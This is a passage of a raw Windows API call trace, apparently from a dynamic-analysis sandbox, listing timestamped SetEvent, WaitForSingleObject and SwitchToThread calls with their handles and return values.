	[0073.120] SetEvent (hEvent=0x8c) returned 1
	[0073.120] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.163] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.183] SetEvent (hEvent=0x6c) returned 1
	[0073.184] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.188] SetEvent (hEvent=0x6c) returned 1
	[0073.188] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.189] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.192] SetEvent (hEvent=0x6c) returned 1
	[0073.192] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.193] SetEvent (hEvent=0x78) returned 1
	[0073.193] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.236] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.237] SetEvent (hEvent=0x78) returned 1
	[0073.237] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.237] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.580] SetEvent (hEvent=0x8c) returned 1
	[0073.580] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.580] SetEvent (hEvent=0x8c) returned 1
	[0073.580] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.601] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.621] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.670] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.676] SetEvent (hEvent=0x6c) returned 1
	[0073.676] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.677] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.701] SetEvent (hEvent=0x6c) returned 1
	[0073.701] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.703] SetEvent (hEvent=0x6c) returned 1
	[0073.703] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.703] SetEvent (hEvent=0x6c) returned 1
	[0073.703] SwitchToThread () returned 1
	[0073.703] SetEvent (hEvent=0x6c) returned 1
	[0073.703] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.704] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] SetEvent (hEvent=0x6c) returned 1
	[0073.750] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.752] SetEvent (hEvent=0x8c) returned 1
	[0073.752] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.775] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.778] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.802] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] SetEvent (hEvent=0x6c) returned 1
	[0073.820] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.845] SetEvent (hEvent=0x6c) returned 1
	[0073.845] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.847] SetEvent (hEvent=0x6c) returned 1
	[0073.847] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.848] SetEvent (hEvent=0x6c) returned 1
	[0073.848] SwitchToThread () returned 1
	[0073.848] SetEvent (hEvent=0x6c) returned 1
	[0073.848] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.848] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.897] SetEvent (hEvent=0x6c) returned 1
	[0073.897] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.898] SetEvent (hEvent=0x8c) returned 1
	[0073.898] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.922] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0073.925] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.032] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.105] SetEvent (hEvent=0x6c) returned 1
	[0074.105] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.106] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.133] SetEvent (hEvent=0x6c) returned 1
	[0074.133] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.135] SetEvent (hEvent=0x6c) returned 1
	[0074.135] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.136] SetEvent (hEvent=0x6c) returned 1
	[0074.136] SwitchToThread () returned 1
	[0074.136] SetEvent (hEvent=0x6c) returned 1
	[0074.136] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.136] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.264] SetEvent (hEvent=0x6c) returned 1
	[0074.264] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.273] SetEvent (hEvent=0x8c) returned 1
	[0074.273] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.299] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.302] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.339] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.347] SetEvent (hEvent=0x6c) returned 1
	[0074.347] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.347] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.373] SetEvent (hEvent=0x6c) returned 1
	[0074.373] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.375] SetEvent (hEvent=0x6c) returned 1
	[0074.375] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.375] SetEvent (hEvent=0x6c) returned 1
	[0074.375] SwitchToThread () returned 1
	[0074.376] SetEvent (hEvent=0x6c) returned 1
	[0074.376] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.376] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.465] SetEvent (hEvent=0x6c) returned 1
	[0074.465] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.467] SetEvent (hEvent=0x8c) returned 1
	[0074.467] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.491] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.494] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.504] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.542] SetEvent (hEvent=0x6c) returned 1
	[0074.542] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.543] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.568] SetEvent (hEvent=0x6c) returned 1
	[0074.568] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.570] SetEvent (hEvent=0x6c) returned 1
	[0074.570] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.570] SetEvent (hEvent=0x6c) returned 1
	[0074.570] SwitchToThread () returned 1
	[0074.571] SetEvent (hEvent=0x6c) returned 1
	[0074.571] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.571] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.613] SetEvent (hEvent=0x6c) returned 1
	[0074.613] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.615] SetEvent (hEvent=0x8c) returned 1
	[0074.615] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.638] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.641] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.687] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.693] SetEvent (hEvent=0x6c) returned 1
	[0074.693] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.694] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.719] SetEvent (hEvent=0x6c) returned 1
	[0074.719] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.721] SetEvent (hEvent=0x6c) returned 1
	[0074.721] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.722] SetEvent (hEvent=0x6c) returned 1
	[0074.722] SwitchToThread () returned 1
	[0074.722] SetEvent (hEvent=0x6c) returned 1
	[0074.722] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.722] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.767] SetEvent (hEvent=0x6c) returned 1
	[0074.767] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.768] SetEvent (hEvent=0x8c) returned 1
	[0074.768] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.791] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.794] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.820] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.838] SetEvent (hEvent=0x6c) returned 1
	[0074.838] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.839] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.864] SetEvent (hEvent=0x6c) returned 1
	[0074.864] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.866] SetEvent (hEvent=0x6c) returned 1
	[0074.866] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.867] SetEvent (hEvent=0x6c) returned 1
	[0074.867] SwitchToThread () returned 1
	[0074.867] SetEvent (hEvent=0x6c) returned 1
	[0074.867] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.867] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.911] SetEvent (hEvent=0x6c) returned 1
	[0074.911] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.912] SetEvent (hEvent=0x8c) returned 1
	[0074.913] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.935] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.938] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.986] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.997] SetEvent (hEvent=0x6c) returned 1
	[0074.997] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0074.997] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.030] SetEvent (hEvent=0x6c) returned 1
	[0075.030] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.031] SetEvent (hEvent=0x6c) returned 1
	[0075.032] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.032] SetEvent (hEvent=0x6c) returned 1
	[0075.032] SwitchToThread () returned 1
	[0075.032] SetEvent (hEvent=0x6c) returned 1
	[0075.032] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.032] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.075] SetEvent (hEvent=0x6c) returned 1
	[0075.075] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.077] SetEvent (hEvent=0x8c) returned 1
	[0075.077] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.125] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.128] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.163] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.169] SetEvent (hEvent=0x8c) returned 1
	[0075.169] SetEvent (hEvent=0xb4) returned 1
	[0075.169] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0075.173] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.173] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0075.173] SetEvent (hEvent=0x8c) returned 1
	[0075.173] SetEvent (hEvent=0xb4) returned 1
	[0075.173] SetEvent (hEvent=0x78) returned 1
	[0075.173] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.174] SetEvent (hEvent=0xa8) returned 1
	[0075.174] SetEvent (hEvent=0x78) returned 1
	[0075.174] SetEvent (hEvent=0x6c) returned 1
	[0075.174] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.179] SetEvent (hEvent=0x6c) returned 1
	[0075.179] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.181] SetEvent (hEvent=0x6c) returned 1
	[0075.181] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.181] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.200] SetEvent (hEvent=0x6c) returned 1
	[0075.200] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.202] SetEvent (hEvent=0x78) returned 1
	[0075.202] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.243] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.263] SetEvent (hEvent=0x6c) returned 1
	[0075.263] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.284] SetEvent (hEvent=0x6c) returned 1
	[0075.284] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.284] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.287] SetEvent (hEvent=0x6c) returned 1
	[0075.287] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.288] SetEvent (hEvent=0xb4) returned 1
	[0075.288] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.328] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.349] SetEvent (hEvent=0x6c) returned 1
	[0075.349] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.354] SetEvent (hEvent=0x6c) returned 1
	[0075.354] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.354] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.357] SetEvent (hEvent=0x6c) returned 1
	[0075.357] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.358] SetEvent (hEvent=0x78) returned 1
	[0075.359] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.412] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.432] SetEvent (hEvent=0x6c) returned 1
	[0075.432] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.437] SetEvent (hEvent=0x6c) returned 1
	[0075.437] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.437] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.440] SetEvent (hEvent=0x6c) returned 1
	[0075.440] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.441] SetEvent (hEvent=0xb4) returned 1
	[0075.441] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.485] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.503] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.510] SetEvent (hEvent=0x6c) returned 1
	[0075.510] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.511] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.514] SetEvent (hEvent=0x6c) returned 1
	[0075.514] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.515] SetEvent (hEvent=0x78) returned 1
	[0075.515] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.555] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.575] SetEvent (hEvent=0x6c) returned 1
	[0075.575] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.579] SetEvent (hEvent=0x6c) returned 1
	[0075.579] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.580] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.583] SetEvent (hEvent=0x6c) returned 1
	[0075.583] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.584] SetEvent (hEvent=0xb4) returned 1
	[0075.584] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.633] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.655] SetEvent (hEvent=0x6c) returned 1
	[0075.655] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.660] SetEvent (hEvent=0x6c) returned 1
	[0075.660] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.660] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.663] SetEvent (hEvent=0x6c) returned 1
	[0075.663] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.664] SetEvent (hEvent=0x78) returned 1
	[0075.664] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.718] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] SetEvent (hEvent=0x78) returned 1
	[0075.719] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0075.719] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.655] SetEvent (hEvent=0x8c) returned 1
	[0076.655] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.655] SetEvent (hEvent=0x8c) returned 1
	[0076.655] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.662] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.682] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.716] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.723] SetEvent (hEvent=0x6c) returned 1
	[0076.723] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.724] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.749] SetEvent (hEvent=0x6c) returned 1
	[0076.749] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.751] SetEvent (hEvent=0x6c) returned 1
	[0076.751] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.751] SetEvent (hEvent=0x6c) returned 1
	[0076.751] SwitchToThread () returned 1
	[0076.752] SetEvent (hEvent=0x6c) returned 1
	[0076.752] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.752] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.811] SetEvent (hEvent=0x6c) returned 1
	[0076.811] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.813] SetEvent (hEvent=0x8c) returned 1
	[0076.813] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.837] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.840] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.864] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.882] SetEvent (hEvent=0x6c) returned 1
	[0076.882] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.882] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.907] SetEvent (hEvent=0x6c) returned 1
	[0076.907] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.909] SetEvent (hEvent=0x6c) returned 1
	[0076.909] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.909] SetEvent (hEvent=0x6c) returned 1
	[0076.909] SwitchToThread () returned 1
	[0076.910] SetEvent (hEvent=0x6c) returned 1
	[0076.910] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.910] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.938] SetEvent (hEvent=0x6c) returned 1
	[0076.939] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.940] SetEvent (hEvent=0x8c) returned 1
	[0076.940] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.963] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.966] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.971] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] SetEvent (hEvent=0x6c) returned 1
	[0076.994] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.020] SetEvent (hEvent=0x6c) returned 1
	[0077.020] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.022] SetEvent (hEvent=0x6c) returned 1
	[0077.022] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.022] SetEvent (hEvent=0x6c) returned 1
	[0077.022] SwitchToThread () returned 1
	[0077.022] SetEvent (hEvent=0x6c) returned 1
	[0077.022] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.023] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] SetEvent (hEvent=0x6c) returned 1
	[0077.051] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.053] SetEvent (hEvent=0x8c) returned 1
	[0077.053] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.093] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.096] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.118] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.125] SetEvent (hEvent=0x6c) returned 1
	[0077.125] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.126] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.151] SetEvent (hEvent=0x6c) returned 1
	[0077.151] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.152] SetEvent (hEvent=0x6c) returned 1
	[0077.152] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.153] SetEvent (hEvent=0x6c) returned 1
	[0077.153] SwitchToThread () returned 1
	[0077.153] SetEvent (hEvent=0x6c) returned 1
	[0077.153] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.153] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.181] SetEvent (hEvent=0x6c) returned 1
	[0077.181] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.183] SetEvent (hEvent=0x8c) returned 1
	[0077.183] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.206] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.209] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.230] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.237] SetEvent (hEvent=0x6c) returned 1
	[0077.237] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.238] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.263] SetEvent (hEvent=0x6c) returned 1
	[0077.263] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.265] SetEvent (hEvent=0x6c) returned 1
	[0077.265] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.265] SetEvent (hEvent=0x6c) returned 1
	[0077.265] SwitchToThread () returned 1
	[0077.265] SetEvent (hEvent=0x6c) returned 1
	[0077.265] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.266] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.320] SetEvent (hEvent=0x6c) returned 1
	[0077.320] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.321] SetEvent (hEvent=0x8c) returned 1
	[0077.321] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.347] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.350] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.383] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.393] SetEvent (hEvent=0x6c) returned 1
	[0077.393] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.393] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.419] SetEvent (hEvent=0x6c) returned 1
	[0077.419] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.421] SetEvent (hEvent=0x6c) returned 1
	[0077.421] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.421] SetEvent (hEvent=0x6c) returned 1
	[0077.421] SwitchToThread () returned 1
	[0077.422] SetEvent (hEvent=0x6c) returned 1
	[0077.422] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.422] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.451] SetEvent (hEvent=0x6c) returned 1
	[0077.451] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
